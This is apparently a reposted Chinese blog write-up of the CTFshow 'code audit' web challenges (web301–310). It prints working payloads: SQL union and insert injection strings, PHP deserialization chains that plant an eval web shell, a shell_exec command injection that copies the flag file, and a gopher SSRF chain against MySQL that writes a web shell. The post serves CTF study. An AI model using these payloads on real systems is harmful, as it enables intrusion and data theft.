CTFshow-WEB入门-代码审计

前言

开始快乐的代码审计篇。

web301

源码下载下来分析一波,大部分都是无用的文件,主要还是在checklogin.php那里:

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    
    
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    
    
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

无过滤的SQL注入,让查出的内容和post传的密码相等即可,利用union注入:

userid=-1' union select 1%23&userpwd=1

登录成功后即可看到flag。

web302

改了这里:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
    
    
function sds_decode($str){
    
    
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

其实没啥影响,说白了就是改一下联合注入查出来的值,让这值和你post传的密码经过sds_decode()这个函数处理后的结果一样就可以了。:

userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1

web303

源码下载一波,发现新增了2个php文件还有一个.sql,把.sql都看一下,发现了这个:

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

用户名和密码也都给了,感觉不对劲啊,再看看之前的那个checklogin.php:

if(strlen($username)>6){
    
    
	die();
}

应该是没法注入了,试试直接登录,成功了,那没事了。看一下新增的php文件,有新的注入点:

	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);

还是无过滤的insert注入,直接注就行了。

dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=

web304

说是加了waf,但是感觉没加啊。。用上面的payload还是能打。

web305

新加了class.php,反序列化的洞:

	public function __destruct(){
    
    
		file_put_contents($this->username, $this->password);
	}

挺简单的没啥好说的,写个马上去查flag就行了:
在这里插入图片描述

也可以直接连数据库,注意类型改成mysqli,然后密码的话给的源码里的密码是假的,去conn.php里面找:
在这里插入图片描述

在里面也能找到flag。

web306

mvc结构的代码,大致审一下,把class.php和dao.php看一下就知道考点了:

'class.php'
class log{
    
    
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
    
    
		$this->info=$this->info.$info;
	}
	public function close(){
    
    
		file_put_contents($this->title, $this->info);
	}

}
'dao.php'
	public function __destruct(){
    
    
		$this->conn->close();
	}

很明显的反序列化,全局搜索一下unserialize,发现login.php和index.php里面都有,但是login.php那里的不能用,因为需要dao.php和class.php,login.php那里只require了class.php,但是index.php那里require了dao.php,而dao.php又require了class.php,所以index.php那里可以。:

<?php
class log{
    
    
    public $title='1.php';
    public $info='<?php eval($_POST[0]);?>';
}
class dao{
    
    
    private $conn;

    public function __construct(){
    
    
        $this->conn=new log();
    }
}
echo base64_encode(serialize(new dao()));

生成一下payload直接打,然后找到flag.php即可。

web307

这下把class.php里面的close()方法改名成了closelog(),全局找了一下,只有这一个地方有,所以这个方法大概率是死了,除非能找到可控变量->(可控变量)这样的地方才可以用。
考虑到代码不多,再把这些代码详细的审一遍,有个地方引起我的注意,service类的__wakeup

	public function __wakeup(){
    
    
		$this->config=new config();
		$this->dao=new dao();
	}

这题的考点肯定是反序列化没跑了,但是这里放了个__wakeup应该就是让我们绕过这个__wakeup?但是我看了一下题目的环境是php7.3,不满足绕过的条件:

PHP5 < 5.6.25

PHP7 < 7.0.10

再找一下,发现了logout.php的这里:

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
	$service->clearCache();
}

看到了clearCache()方法,突然想到了之前看这个方法的时候自己就在想,如果$config可控的话,这里可以任意执行命令。:

	public function  clearCache(){
    
    
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

看了一下,确实都可控,所以构造POC即可,不过需要注意的是,要序列化dao类而不是service类,因为service类有__wakeup,而这题的dao类和service类的clearCache方法名都一样,正好可以利用。猜测一波下一题直接找方法,哪个方法的方法名在两个类里出现了两次,那这个方法就是考点?

构造一下POC:

<?php
class config{
    
    
    public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;';
}
class dao
{
    
    
    private $config;

    public function __construct()
    {
    
    
        $this->config = new config();
    }
}
echo base64_encode(serialize(new dao()));

直接打,然后访问2.txt即可:
在这里插入图片描述

web308

对比一下就会发现加了一个这个:

	public function checkVersion(){
    
    
		return checkUpdate($this->config->update_url);
	}
function checkUpdate($url){
    
    
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

肯定是ssrf没跑了,看一下config.php,mysql用户名是root,密码为空,妥妥的打mysql了。但是我很迷的就是这里:

if(!isset($_SESSION['login'])){
    
    
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
    $lastVersion=$service->checkVersion();
}

我心想需要登录成功才能执行payload啊,但是我尝试没法sql注入,也不是弱密码啥的,怎么登录成功呢?这时我猜测header后面的代码还是可以执行的?查了一下,还真tm能。。header跳转之后的代码还能正常执行,这是我的一个固有的误区了,学到了学到了。
知道了后就打mysql吧,拿工具生成一下gopher,然后写POC:

<?php
class config{
    
    
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%30%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

去打即可,然后就拿到shell了,寻找flag文件即可。学到了学到了。

web309

既然mysql有密码了不能打,那想想也基本就剩redis和fastcgi了,拿dict探测一下,似乎没有redis,因此大概率就是fastcgi,但是到底如何确定存在fastcgi我也很迷。看了一下羽师傅的方式,拿gopher协议的延时来判断:

gopher://127.0.0.1:9000/

判断存在后,工具生成一下:
在这里插入图片描述
直接打就可以了:
在这里插入图片描述

web310

本来以为会打redis了,测试了一下发现9000还是存在,那就还是老样子打一下,发现读/var/www/html/f*读不到了,拿find命令找一下flag,发现在/var/flag,但是怎么读都读不出来,很迷。
看了一下羽师傅的姿势,是读nginx.conf,读这个配置文件:

<?php
class config{
    
    
    public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

至于这个文件的路径,可以通过find命令来找。
得到了这个:

server {
    
    
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

然后读即可:

<?php
class config{
    
    
    public $update_url ="http://127.0.0.1:4476/";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

也是学习了,nginx可以通过fastcgi对接php,所以nginx的配置文件中也会有一血重要信息,此外还有端口转发等,一些重要的信息配置文件中可能都会有,学到了学到了。
至此,代码审计篇结束。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113924013